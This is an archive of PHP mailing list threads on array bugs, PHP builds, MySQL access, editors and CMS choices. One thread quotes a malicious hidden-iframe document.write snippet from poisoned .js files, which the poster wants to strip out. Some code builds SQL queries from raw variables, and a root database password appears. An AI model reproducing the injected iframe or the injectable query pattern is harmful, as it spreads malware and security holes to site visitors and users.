[PHP] array problems
Hello, consider the following code (content.txt is tab delimited). $city = "Ipswitch"; $content = fopen("content.txt", "r"); $city_found = 0; while (!feof($content) && $city_found == 0) { $my_line = fgets($content, "r"); $content_array = explode("\t",$my_line); if ($content_array == $city) { print("Matched on $content_array[0]"); $city_found = 1; } } print("$content_array[0]\n"); Here's the trouble. inside the while loop $content_array is available to me. outside the loop $content_array is not available. What am I doing wrong? Thanks in advance. Curtis -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] array problems
Sorry, its a typo. it should be: $city = "Ipswitch"; $city_found = 0; $contentfile = fopen("content.txt", "r"); while (!feof($contentfile) && $city_found == 0); { $my_line = fgets($contentfile, 16384); $content_array = explode("\t",$my_line); if ($content_array[0] == $city) { $city_found = 1; print("Matched on $content_aray[0]\n"); } } print("$content_array[0]\n"); //end As I stated. The match happens and the "Matched on..." message happens, but the print statement outside the "while" loop does not. Its php-4.2.2 running on RedHat 8.0 (don't go there.) Its the stock redhat php package. I don't trust redhat libraries for building php from scratch. Of course, this might actually be the problem, too. :-) Curtis On Tue, 25 Nov 2003, Marek Kilimajer wrote: > Curtis Maurand wrote: > > Hello, > > consider the following code (content.txt is tab delimited). > > > > $city = "Ipswitch"; > > $content = fopen("content.txt", "r"); > > $city_found = 0; > > while (!feof($content) && $city_found == 0) > > { > > $my_line = fgets($content, "r"); > > $content_array = explode("\t",$my_line); > > if ($content_array == $city) > This will never be equal, $content_array is an array, $city is a string > > > { > > print("Matched on $content_array[0]"); > > $city_found = 1; > > } > > } > > print("$content_array[0]\n"); > > > > Here's the trouble. > > > > inside the while loop $content_array is available to me. > > outside the loop $content_array is not available. What > > am I doing wrong? > > The file might end with an empty line, in that case $my_line in the last > iteration contains only the newline character. > -- -- Curtis Maurand mailto:[EMAIL PROTECTED] http://www.maurand.com -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] array problems
Thank you, I'll try that. Curtis On Wednesday 26 November 2003 21:53, the council of elders heard Marek Kilimajer mumble incoherently: > Curtis Maurand wrote: > > Sorry, its a typo. it should be: > > > > $city = "Ipswitch"; > > $city_found = 0; > > $contentfile = fopen("content.txt", "r"); > > while (!feof($contentfile) && $city_found == 0); > > { > > $my_line = fgets($contentfile, 16384); > > $content_array = explode("\t",$my_line); > > if ($content_array[0] == $city) > > { > > $city_found = 1; > > print("Matched on $content_aray[0]\n"); > > /* Break out of the while loop */ > break; > > > } > > } > > print("$content_array[0]\n"); > > > > //end > > > > As I stated. The match happens and the "Matched on..." message > > happens, but the print statement outside the "while" loop does > > not. Its php-4.2.2 running on RedHat 8.0 (don't go there.) Its > > the stock redhat php package. I don't trust redhat libraries for > > building php from scratch. Of course, this might actually be the > > problem, too. :-) > > > > Curtis -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] array problems
OK. That worked, thanks. Is it me, or is that rather odd behavior? Shouldn't array elements set within a loop be available to me outside the loop if the loop exits normally? A loop is not a function (well it is, sort of.) Should I declare the variable as global? global $content_array; $city_found = 1; while(!feof ... When I was taking programming courses in college, I was taught that breaking out of a loop like that was bad practice; that it was better to leave a loop normally. I've never programmed in "C" other than to write a crude little "dos2unix" (actually mac2dos) utility. Mosty i've written Perl, PHP Pascal and Basic. Pascal, Perl and Basic don't exhibit this behavior. I never worked with arrays in "C." Am I wrong? On Wednesday 26 November 2003 21:53, the council of elders heard Marek Kilimajer mumble incoherently: > Curtis Maurand wrote: > > Sorry, its a typo. it should be: > > > > $city = "Ipswitch"; > > $city_found = 0; > > $contentfile = fopen("content.txt", "r"); > > while (!feof($contentfile) && $city_found == 0); > > { > > $my_line = fgets($contentfile, 16384); > > $content_array = explode("\t",$my_line); > > if ($content_array[0] == $city) > > { > > $city_found = 1; > > print("Matched on $content_aray[0]\n"); > > /* Break out of the while loop */ > break; > > > } > > } > > print("$content_array[0]\n"); > > > > //end > > > > As I stated. The match happens and the "Matched on..." message > > happens, but the print statement outside the "while" loop does > > not. Its php-4.2.2 running on RedHat 8.0 (don't go there.) Its > > the stock redhat php package. I don't trust redhat libraries for > > building php from scratch. Of course, this might actually be the > > problem, too. :-) > > > > Curtis -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Build problems
Hello, I'm building 4.0.4pl1 on RedHat 6.2 with all updates applied. It configures OK and then when issue "make" i get: [root@fenris php-4.0.4pl1]# make Making all in Zend make[1]: Entering directory `/home/curtis/php-4.0.4pl1/Zend' /bin/sh ../libtool --silent --mode=compile gcc -DHAVE_CONFIG_H -I. -I. -I../main -DLINUX=2 -DEAPI -DUSE_EXPAT -DXML_BYTE_ORDER=12 -g -O2 -c zend_language_sca nner.c In file included from /usr/include/errno.h:36, from zend_language_scanner.c:2619: /usr/include/bits/errno.h:25: linux/errno.h: No such file or directory In file included from /usr/include/bits/posix1_lim.h:126, from /usr/include/limits.h:30, from /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/include/li mits.h:117, from /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/include/sy slimits.h:7, from /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/include/li mits.h:11, from zend_language_scanner.c:2620: /usr/include/bits/local_lim.h:27: linux/limits.h: No such file or directory make[1]: *** [zend_language_scanner.lo] Error 1 make[1]: Leaving directory `/home/curtis/php-4.0.4pl1/Zend' make: *** [all-recursive] Error 1 Any one have any clues? I can't get 3.0.16 to build either and I need mysql support. If anyone knows where I can find functional RPM's that would be OK, too. Curtis -- PHP General Mailing List (http://www.php.net/) To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP] Mcrypt
Did I hear anyone say "SSL?" Curtis On Thu, 26 Apr 2001, Alex Piaz wrote: > Hi All! > > It's my first post:-) > > I am working on a php web application that has to interchange encrypted > data to a VB windows standalone exe. Does anybody know the best way to do it?? > > I am making some tests with mcrypt_module using the BLOWFISH algorithm. On > the web enviromment I can encrypt and decrypt data following the rules said > at the manual, but the data that is interchanged with the VB application > cannot be decrypted and vice-versa! > > Of Course, the VC app is able to deal with the BLOWFISH algorithm, although > it is not using the libmcrypt source, but another package who supports > BLOWFISH. Should I say to the VB people to use the sources from libmcrypt > instead of the actual ones? > > That's it. > > Regards > > > Alex Piaz > Webmaster > Global Map Internet Marketing > www.globalmap.com > *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* > "Those who know what's best for us - > Must rise and save us from ourselves" > > > -- PHP General Mailing List (http://www.php.net/) To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP] undefined symbol error
hello, I'm trying to compile on RedHat 6.1 (latest changes applied). I can compile with mysql support and using the apxs and it compiles fine and it runs. This works for both 3.0.16 and 4.0.4pl1. As soon as I try to compile in --with-imap. it comiles fine, but when I run it I get an undefined symbol and its looking for gss_mech_krb5. anyone have any ideas of what I need to install. I have installed all the latest kerberos packages from redhat, including the development packages. I running with kernel 2.2.17-14 and its apache 1.3.14 Curtis -- PHP General Mailing List (http://www.php.net/) To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP] multiple choice dropdown box puzzle
You're looking for something like: This gets called 10 times from another function, but this is sort of what you're looking for. This gives me a combo-box. function qselect($mysql_link, $i) { $driverquery = "select car_no, drv_name from cars order by car_no + 0"; $driverresult = mysql_query($driverquery, $mysql_link); print("\n"); while ($driverrows = mysql_fetch_array($driverresult)) { print(" '$driverrows[0]'>$driverrows[1]\n"); } print(" \n"); } HTH Curtis Afan Pasalic wrote: PJ wrote: I think this is a tough one... and way above my head: PLEASE READ ALL OF THE ABOVE TO UNDERSTAND WHAT I AM TRYING TO DO. Having a bit of a rough time figuring out how to formulate php-mysql to insert data into fields using a multiple dropdown box in a form. to post I am using the following: snip... $categoriesIN= $_POST["categoriesIN"]; ...snip... Choose Categories... 1 2 3 4 5 ...snip... $sql4 = "FOR ( $ii = 0 ; $ii < count($categoriesIN) ; $ii++ ) INSERT INTO temp (example) $categoriesIN[$ii]" ; $result4 = mysql_query($sql4, $db); ...snip this does not work! The other posts work like a charm... but this... I cannot figure out what I should be entering where... I have tried several different configurations, but nothing seems to work... I found this as a model for entering the selections but can't figure out how to modify it for my needs: Choose your location(s) 3100 3105 3503 3504 What I would like to do is something like the following: Choose Categories... History Temples Pharaohs and Queens Cleopatra Mummies and going further, I would like to be able to use a table that actually holds these values to feed them to the code above. I am sure this is possible but it must take some huge knowledge and experience to do it. BUT ... as I look at things, I am wondering if the FOR statement in the above should be used to do several INSERTs, that is, one $sql(number) per selected category... now, would that require many $sqls or many INSERTs within the $sql ? first, I think, $categoriesIN is string, but in the form you made it as an array $categoriesIN[]. I think you have to "modify it a little bit, something like {$categoriesIN}.'[]' second, I think the php part "FOR ( $ii = 0 ; $ii < count($categoriesIN) ; $ii++ )" can't be part of the mysql statement, it should be "outside" the statement FOR ( $ii = 0 ; $ii < count($categoriesIN) ; $ii++ ) { $sql4 = "INSERT INTO temp (example) $categoriesIN[$ii]" ; $result4 = mysql_query($sql4, $db); } afan -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Searching IDE.
Simon Dániel wrote: > Hi, > > Although it's not an IDE, it is full of very useful developer tools: Kate > > > 2012/6/13 David Arroyo > >> Hi Folks, >> >> I am searching an IDE for php and web development, my options are >> Aptana or Eclipse+PDT. >> What is your opinion? I've seen these articles posted at infoworld. http://www.infoworld.com/d/application-development/review-2-php-tools-rise-above-the-rest-189085 http://www.infoworld.com/d/developer-world/infoworld-review-eight-php-power-tools-737 Cheers, Curtis
Re: [PHP] SOAP and Php question about authentication
That's not a helpful answer. I'd be curious at a real answer for this, too. I'm sure that there is something going on with session management on the client side as authentication has probably already happened, but the author doesn't know how to handle the response to the authentication correctly. --Curtis Matijn Woudt wrote: > Op 17 jul. 2012 05:23 schreef "James Newman" > > het volgende: >> >> I'm having a few authentication issues and I'm not sure if it's my code >> or >> the web service I'm connecting to. The code below shows what I'm >> working >> with not sire if I'm going about it the right way. >> >> This is the error I get! >> >> Fatal error: Uncaught SoapFault exception: [soap:Client] >> System.Web.Services.Protocols.SoapException: Authentication error. > Username >> and/or Password are incorrect at > > Really.. have you had a look at your error before mailing it to this list? > This error looks pretty clear to me.. > > - Matijn >
Re: [PHP] How to write and read serial or parallel port
You read and write to it like any other file. Calls on windows will be slightly different. $PRINTERPORT = fopen("/dev/lpt1", "r+"); $PRINTERPORT = fopen("lpt1", "r+"); Cheers, Curtis viper wrote: > hi all! > > is it possible to write and read data on a COM or LPT port? > is there any function or class in PHP? > > anyone has already done something similar? > > thanks, > viper > > -- > + http://vipertechnology.dyndns.org > () ascii ribbon campaign - against html e-mail > /\ www.asciiribbon.org - against proprietary attachments > + http://vipertechnology.dyndns.org/cotnact/ > > -- > PHP General Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php > >
Re: [PHP] How to write and read serial or parallel port
Lester Caine wrote: > viper wrote: >> is it possible to write and read data on a COM or LPT port? >> is there any function or class in PHP? >> >> anyone has already done something similar? > > Talking in and out of the serial port is not too difficult but is OS > dependent, > so what are you wanting to run on? Most of the time you are just copying > files > in and out, although one can use the control signals as simple I/O if you > only > need a couple of controls. > > Parallel port is a minefield on Windows as access is specifically blocked > in XP > onwards. You need a modified device driver to bypass the blocks windows > puts in. > I've not tried that with PHP as I'm normally accessing the parallel port > direct > from other windows programs. > > Linux is lot easier, and most of the examples you will find via google are > geared towards that. It works like DOS used to :) > There is an example of a serial port on php.net in the fopen function documentation. --C
Re: [PHP] OT (maybe not): Drupal vs WordPress
Joomla. Michael Shadle wrote: > I suggest Wordpress only for blogs or "brochureware" or basic page based > sites. It has security flaws often and I've had many sites hacked and > servers compromised because of it. > > Out of the box it is very easy to use and polished and has a lot of themes > available and is pretty easy to theme. > > I recommend Drupal for anything else. Out of the box it doesn't do > anything "very well" it provides the building blocks to do a lot of things > well with modules. It rarely has security issues compared to Wordpress. > > It is much more extensible than Wordpress. Anything using Wordpress for > forums, shopping carts or anything else is a gross misuse of the original > intention for Wordpress. Drupal however was designed to be more content > agnostic and can be extended way more elegantly than Wordpress can ever > be. Drupal is definitely for a more functional site. > > But if you just need something basic and simple Wordpress can meet your > needs. Just keep it up to date :) > > > On Aug 19, 2012, at 12:52 PM, l...@afan.net wrote: > >> Hi to everyone, >> I was trying to figure this out for the last week or two. I have read >> tons >> of articles that compare Drupal and WordPress, but I still wasn't swayed >> to either side. >> I know that they are both good, both do the job well, and both have >> advantages and disadvantages. For example, Drupal has a steeper learning >> curve, but you get more control over the website. >> Most of Drupal vs WordPress articles are "emotionally" driven and it >> reminds me of the PC vs Apple flame war. I was trying to exclude these >> as >> much as I could but it's hard. >> >> Is there any website/article/benchmark/test/experiment/whatever I can >> trust to be unbiased? I need a website that measures the CMS' through >> facts, not heated, emotional arguments. In which cases is it better to >> use >> Drupal over WordPress (and vice-versa)? I know the first two words are >> going to be "it depends", but let's talk about it in general (for small >> basic websites, more complex websites, easy customization, etc). >> >> I found this on one page: "... Drupal was built as a fine-grained >> multi-role system where you can assign different permissions to >> different >> roles to do different things (e.g. content editor, content reviewer, >> member, etc.) and assign users to these roles..." Does that mean that >> WordPress can't do that? Maybe it can, and the quotation is true, but it >> is kind of misleading to say that one of the programs does something, >> and >> then not mention the other product at all. >> >> Special points for me are (not a must, though) >> - multiple websites with single core (both CMSs have the capability but >> I >> got impression Drupal does it better?) because of maintenance >> - compatibility with CiviCRM >> >> Once I decide what to use, I have to stick with it for a while. >> >> Thanks for any help. >> >> LAMP >> >> >> -- >> PHP General Mailing List (http://www.php.net/) >> To unsubscribe, visit: http://www.php.net/unsub.php >> > > -- > PHP General Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php > >
Re: [PHP] Re: How to limit source IP in PHP
On 9/14/2012 7:20 AM, Ian wrote: On 12/09/2012 14:53, Tonix (Antonio Nati) wrote: Is there a way to force a PHP script to bind to a prefixed IP? Actually, while you can assign more IPs to Apache for listening, assigning domains to specific IPs, it looks like any PHP script can freely choose which IP to bind. Instead I'd love some domains are permitted to open connections only from the domain IP. In FreeBSD I do it easily, setting up dedicated jails for domains. But how to do it simply using PHP on Linux? Regards, Tonino Hi, I think its been established now that this cannot be done by any php configuration so you will have to use other methods. You could configure iptables to only allow outgoing packets from specific IPs using the 'owner' module: http://www.netfilter.org/documentation/HOWTO/packet-filtering-HOWTO-7.html (search for 'owner'). There is also SELINUX. Or you could look at container based virtualisation like OpenVZ. Regards Ian 1. |if (function_exists('stream_context_create') && function_exists('stream_socket_client')) {| 2. |$socket_options = array('socket' => array('bindto' => '192.0.2.1:0'));| 3. |$socket_context = stream_context_create($socket_options);| 4. |$socket = stream_socket_client('ssl://xmlapi.example.org:9090', $errno,| 5. |$errstr, 30, STREAM_CLIENT_CONNECT, $socket_context);| 6. |} else {| 7. |$socket = @fsockopen( "ssl://xmlapi.example.org" , 9090 , $errno , $errstr , 30 );| 8. |}| Google is your friend.
[PHP] preg_replace question
I have several poisoned .js files on a server. I can use find to recursively find them and then use preg_replace to replace the string. However the string is filled with single quotes, semi-colons and a lot of other special characters. Will preg_relace(escapeshellarg($String),$replacement) work or do I need to go through the entire string and escape what needs to be escaped? --C -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: preg_replace question
On 12/12/2012 12:00 PM, Maciek Sokolewicz wrote: On 12-12-2012 17:11, Curtis Maurand wrote: I have several poisoned .js files on a server. I can use find to recursively find them and then use preg_replace to replace the string. However the string is filled with single quotes, semi-colons and a lot of other special characters. Will preg_relace(escapeshellarg($String),$replacement) work or do I need to go through the entire string and escape what needs to be escaped? --C First of all, why do you want to use preg_replace when you're not actually using regular expressions??? Use str_replace or stri_replace instead. Aside from that, escapeshellarg() escapes strings for use in shell execution. Perl Regexps are not shell commands. It's like using mysqli_real_escape_string() to escape arguments for URLs. That doesn't compute, just like your way doesn't either. If you DO wish to escape arguments for a regular expression, use preg_quote instead, that's what it's there for. But first, reconsider using preg_replace, since I honestly don't think you need it at all if the way you've posted (preg_replace(escapeshellarg($string),$replacement)) is the way you want to use it. Thanks for your response. I'm open to to using str_replace. no issue there. my main question was how to properly get a string of javascript into a string that could then be processed. I'm not sure I can just put that in quotes and have it work.There are colons, "<",">", semicolons, and doublequotes. Do I just need to rifle through the string and escape the reserved characters or is there a function for that? --C -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: preg_replace question
On 12/12/2012 3:47 PM, Maciek Sokolewicz wrote: On 12-12-2012 21:10, Curtis Maurand wrote: On 12/12/2012 12:00 PM, Maciek Sokolewicz wrote: On 12-12-2012 17:11, Curtis Maurand wrote: I have several poisoned .js files on a server. I can use find to recursively find them and then use preg_replace to replace the string. However the string is filled with single quotes, semi-colons and a lot of other special characters. Will preg_relace(escapeshellarg($String),$replacement) work or do I need to go through the entire string and escape what needs to be escaped? --C First of all, why do you want to use preg_replace when you're not actually using regular expressions??? Use str_replace or stri_replace instead. Aside from that, escapeshellarg() escapes strings for use in shell execution. Perl Regexps are not shell commands. It's like using mysqli_real_escape_string() to escape arguments for URLs. That doesn't compute, just like your way doesn't either. If you DO wish to escape arguments for a regular expression, use preg_quote instead, that's what it's there for. But first, reconsider using preg_replace, since I honestly don't think you need it at all if the way you've posted (preg_replace(escapeshellarg($string),$replacement)) is the way you want to use it. Thanks for your response. I'm open to to using str_replace. no issue there. my main question was how to properly get a string of javascript into a string that could then be processed. I'm not sure I can just put that in quotes and have it work.There are colons, "<",">", semicolons, and doublequotes. Do I just need to rifle through the string and escape the reserved characters or is there a function for that? --C Why do you want to escape them? There are no reserved characters in the case of str_replace. You don't have to put anything in quotes. For example: $string = 'This is a _- characters' echo str_replace('supposedly', 'imaginary', $string) would return: This is a So what about things like quotes within the string or semi-colons, colons and slashes? Don't these need to be escaped when you're loading a string into a variable? ;document.write('style="width:100px;height:100px;position:absolute;left:-100px;top:0;" src="http://nrwhuejbd.freewww.com/34e2b2349bdf29216e455cbc7b6491aa.cgi??8";>'); I need to enclose this entire string and replace it with "" Thanks -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Nested loopa
A while loop is a blocking call. Be careful with them. --Curtis Tedd Sperling wrote: >On Dec 26, 2012, at 10:09 AM, Jim Giner >wrote: > >> While I fully understand the purpose of the do...while construct, I >just never get used to seeing it used. (in other langs I had to deal >with a 'repeat...until construct and dis-liked that also). I pretty >much know if I'm going to have to deal with a "run at least once" when >I'm coding and therefore code appropriately, altho I don't know in what >ways I've handled it at this very moment. >> -snip- >> To me - so much easier to comprehend at first glance. As soon as my >eye comes to a block of code starting with a conditional like 'while', >I readily see what makes it tick. Again I see the potential usefulness >of doing it the other way as you did in your example, but in your case >there wasn't a need for using 'do...while' since you structured it so >that there was never a case where you had to force the loop to happen >regardless of conditions. > >I too used while's instead of do's for the same reason. > >However, in my class I had a student show be the light (one can always >learn from beginners). > >Think of it this way, you travel into the code knowing that at some >point you're going to repeat the block of code IF a condition is going >to be met within the block of code. With that consideration, the >'do/while()' works. > >Using just a 'while()' for everything means you must determine the what >the truth of the 'while()' is going to be AND set that value before the >loop. Whereas, using a 'do/while()', you don't need to set the truth >until the block of code has been implemented AND at that point >determine the truth of the block of code. > >Cheers, > >tedd > > >_ >t...@sperling.com >http://sperling.com >-- >PHP General Mailing List (http://www.php.net/) >To unsubscribe, visit: http://www.php.net/unsub.php -- Sent from my Android phone with K-9 Mail. Please excuse my brevity.
[PHP] Stupid question
I have the following: $dsn = "mysqli://$username:$password@$hostname2/$database"; $options = array( 'debug' => 3, 'result_buffering' => false, ); $dbh =& MDB2::factory($dsn, $options); if (PEAR::isError($mdb2)) { die($mdb2->getMessage()); } function tallyCart($_u_id,$dbh){ while($row = $result->fetchrow(MDB2_FETCHMODE_ASSOC)) { $_showCheckOut=1; $_pdetail=new ProductDetail($row{'product_ID'}, $row{'product_Quantity'}, $_u_id); $_getSubTotal += $_pdetail->_subTotal; $_counter++; } } I'm getting: Call to undefined method MDB2_Error::fetchrow() anyone have any ideas? Can I not pass a database handle to a function? Thanks, Curtis -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Stupid question
On 2/26/2013 4:33 PM, Daniel Brown wrote: On Tue, Feb 26, 2013 at 4:27 PM, Curtis Maurand wrote: I have the following: $dsn = "mysqli://$username:$password@$hostname2/$database"; $options = array( 'debug' => 3, 'result_buffering' => false, ); $dbh =& MDB2::factory($dsn, $options); if (PEAR::isError($mdb2)) { die($mdb2->getMessage()); } function tallyCart($_u_id,$dbh){ while($row = $result->fetchrow(MDB2_FETCHMODE_ASSOC)) { $_showCheckOut=1; $_pdetail=new ProductDetail($row{'product_ID'}, $row{'product_Quantity'}, $_u_id); $_getSubTotal += $_pdetail->_subTotal; $_counter++; } } I'm getting: Call to undefined method MDB2_Error::fetchrow() anyone have any ideas? Can I not pass a database handle to a function? Thanks, Curtis Hate to answer a question with a question, but: 1.) Do you have the PEAR package MDB2 installed? 2.) Where is $result defined? I don't see it in your code snippet here. Sorry, $myquery = "SELECT * from tbl_Cart where u_ID='$_u_id'"; echo $myquery; $result =& $dbh->query($myquery); I then tried setting the buffering to true and did a if($result->numrows() >0) and wrapped it around the entire fetchrow loop and I still get the same thing. I just took a look and the libraries are installed if not a bit outdated, but they are there. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Stupid question
On 2/27/2013 6:32 PM, tamouse mailing lists wrote: On Wed, Feb 27, 2013 at 2:42 AM, Sebastian Krebs wrote: 2013/2/27 tamouse mailing lists Well, *I* have a stupid question: is $lhv =& expr the same as $lhv = &expr ?? Yes :) Because an operator "=&" doesn't exists, thus the lexer will split them into the tokens "= &", or "= WHITESPACE &" respectively. The parser again ignores whitespaces. Thanks; thought I was seeing something new, and/or going nuts -- apologies for the thread hijack Well that means the docs on the PEAR MDB2 website are incorrect and should be fixed. Thanks for the lesson. --Curtis -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: Populate input from another form
No, but javascript can. Jim Giner wrote: >On 3/8/2013 3:43 PM, John Taylor-Johnston wrote: >> Scratch that, IE does not like form elements outside the !!?? >:,( >> I can't a form within a form either, unless ... I float a div??. >> >> John Taylor-Johnston wrote: >>> I have a form >>> >>> >> target="_CRTP">>> type="submit"> >>> >>> OnSubmit, I want to include data from another form (form="DPRform"). >>> >>> >> value=""> >>> >>> I should use a hidden identical field and use form="CRTP_Query": >>> >>> value=">> echo stripslashes($_POST["DPRsurname"]);?>"> >>> >>> But I have no idea how to populate the hidden field with the data >from >>> the viewable field. PHP cannot do this onsubmit, can it? >>> >>> Anyone have an example to show me please? >>> >>> Do I need to use jquery? >> >no. > >-- >PHP General Mailing List (http://www.php.net/) >To unsubscribe, visit: http://www.php.net/unsub.php -- Sent from my Android phone with K-9 Mail. Please excuse my brevity.
Re: [PHP] PHP context editor
I've been playing with bluefish as of late. The openoffice folks have taken over that project. tamouse mailing lists wrote: >On Fri, Mar 15, 2013 at 4:03 PM, Ashley Sheridan > wrote: >> On Fri, 2013-03-15 at 12:05 +0100, Sebastian Krebs wrote: >> >>> 2013/3/15 Karim Geiger >>> >>> > Hi Georg, >>> > >>> > On Thu, 2013-03-14 at 23:10 +0100, georg wrote: >>> > > hello, >>> > > annyone knows of some good PHP context editor freeware ? >>> > > (tired of missing out on trivials like ; ) >>> > >>> > I don't know exactly what you mean by a context editor but if you >want >>> > an editor with syntax highlighting try eclipse for an complete IDE >>> > (Multiplatform), notepad++ on Windows, textwrangler on Mac or vim >on >>> > Linux >>> > >>> >>> Or PhpStorm on Linux (multiplatform) :) Or Netbeans on Linux >>> (multiplatform too). Or gedit on Gnome/Linux, or or or ... >>> "vim" is not the end of what can a linux desktop can provide :D >>> >>> >>> > >>> > Regards >>> > >>> > -- >>> > Karim Geiger >>> > >>> > B1 Systems GmbH >>> > Osterfeldstraße 7 / 85088 Vohburg / http://www.b1-systems.de >>> > GF: Ralph Dehner / Unternehmenssitz: Vohburg / AG: Ingolstadt,HRB >3537 >>> > >>> >>> >>> >> >> >> For Linux I quite like KATE, it's part of the KDE stuff. Netbeans is >> great as a full-blown IDE, or Geany is quite nice if you need >something >> in-between those two. The great thing is that they are all available >on >> Windows too. >> >> Thanks, >> Ash >> http://www.ashleysheridan.co.uk >> >> > >Since we're doing this, lemme toss in my rec for Sublime Text 2. > >But I'm still holding onto my dear old Emacs, cos it's my frenz. > >-- >PHP General Mailing List (http://www.php.net/) >To unsubscribe, visit: http://www.php.net/unsub.php -- Sent from my Android phone with K-9 Mail. Please excuse my brevity.
[PHP] filesize question
Hello, I'm feeding a filename to a php script on the command line (command line program). I run the following against it: $inputline = fread($inputfile, filesize($argv[1])); I'm getting an error complaining that the second parameter can't be '0' any ideas? thanks, Curtis -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Last Record INSERT
Look up using the mysqli libraries. This was about a 30 second php.net search. http://us3.php.net/manual/en/mysqli.insert-id.php Cheers, Curtis On 6/26/2013 1:33 PM, Tedd Sperling wrote: Hi gang: What's the most-current way to get the ID of the last recorded inserted in a database? Cheers, tedd _ t...@sperling.com http://sperling.com -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Mysqli Extension
Ethan Rosenberg wrote: > Dear List - > > My mysqli extension seems to have gone away. > > $host = 'localhost'; > $user = 'root'; > $password = 'SdR3908'; > echo "hello2"; > var_dump(function_exists('mysqli_connect'));// this returns boo(false) > $db = 'Store'; > $cxn = mysqli_connect($host,$user,$password,$db); > > I tried to reinstall - > > rosenberg:/home/ethan# apt-get install php5-common libapache2-mod-php5 > php5-cli > Reading package lists... Done > Building dependency tree > Reading state information... Done > libapache2-mod-php5 is already the newest version. > libapache2-mod-php5 set to manually installed. > php5-cli is already the newest version. > php5-cli set to manually installed. > php5-common is already the newest version. > php5-common set to manually installed. > 0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded. > > It did not help. > > TIA > > Ethan > > -- > PHP General Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php > > Found this in ubuntu forums. http://ubuntuforums.org/showthread.php?t=1814736 sudo apt-get install php5-mysql This package contains the PHP module that interfaces with the MySQL server.
Re: [PHP] Mysqli Extension
Matijn Woudt wrote: > On Mon, Aug 19, 2013 at 9:40 PM, Ashley Sheridan > wrote: > >> >> >> Matijn Woudt wrote: >> >On Mon, Aug 19, 2013 at 8:55 PM, Ashley Sheridan >> >wrote: >> > >> >> >> >> >> >> Curtis Maurand wrote: >> >> > >> >> > >> >> >Ethan Rosenberg wrote: >> >> >> Dear List - >> >> >> >> >> >> My >> >> >mysqli extension seems to have gone away. >> >> >> >> >> >> $host = >> >> >'localhost'; >> >> >> $user = 'root'; >> >> >> $password = 'SdR3908'; >> >> >> echo "hello2"; >> >> >> >> >> >var_dump(function_exists('mysqli_connect'));// this returns >> >boo(false) >> >> >> $db = 'Store'; >> >> >> $cxn = >> >> >mysqli_connect($host,$user,$password,$db); >> >> >> >> >> >> I tried to >> >> >reinstall - >> >> >> >> >> >> rosenberg:/home/ethan# apt-get install >> >> >php5-common libapache2-mod-php5 >> >> >> php5-cli >> >> >> Reading >> >> >package lists... Done >> >> >> Building dependency tree >> >> >> Reading >> >> >state information... Done >> >> >> libapache2-mod-php5 is already the >> >> >newest version. >> >> >> libapache2-mod-php5 set to manually >> >> >installed. >> >> >> php5-cli is already the newest version. >> >> >> >> >> >php5-cli set to manually installed. >> >> >> php5-common is already the >> >> >newest version. >> >> >> php5-common set to manually installed. >> >> >> >> >> >0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded. >> >> >> >> >> > >> >> >> It did not help. >> >> >> >> >> >> TIA >> >> >> >> >> >> >> >> >Ethan >> >> >> >> >> >> -- >> >> >> PHP General Mailing List >> >> >(http://www.php.net/) >> >> >> To unsubscribe, visit: >> >> >http://www.php.net/unsub.php >> >> >> >> >> >> >> >> > >> >> > >> >> >Found >> >> >this in ubuntu forums. >> >> > >> >> >http://ubuntuforums.org/showthread.php?t=1814736 >> >> > >> >> > >> >> >sudo apt-get install >> >> >php5-mysql >> >> >This package contains the PHP module that interfaces with the MySQL >> >> >server. >> >> >> >> Could it be that the mysql service on the server has stopped. >> >Typically >> >> you'd do something like this on RedHat/Fedora servers: >> >> >> >> service mysqld status >> >> >> >> That would certainly stop the extension working from within PHP. >> >> >> >> Thanks, >> >> Ash >> >> >> >> >> >I'm sorry, but this is just plain wrong. >> >The extension has nothing to do with the mysql service. In fact, a lot >> >of >> >the larger websites have their database service running at a different >> >server, and probably don't even have the mysql service installed. >> > >> >- Matijn >> >> Look at his connection settings, it says localhost... >> >> Thanks, >> Ash >> > > > var_dump(function_exists('**mysqli_connect'));// this returns boo(false) > > I think it explains everything. > You guys aren't being terribly helpful. My mostly stock 12.04 has the mysqli library so something else is going on. You might give the guy a little direction rather than berating him. or me. His question was about the library being missing. My answer was that it was included in the php_mysql package already and that was the correct answer to his question. The following is the result of a 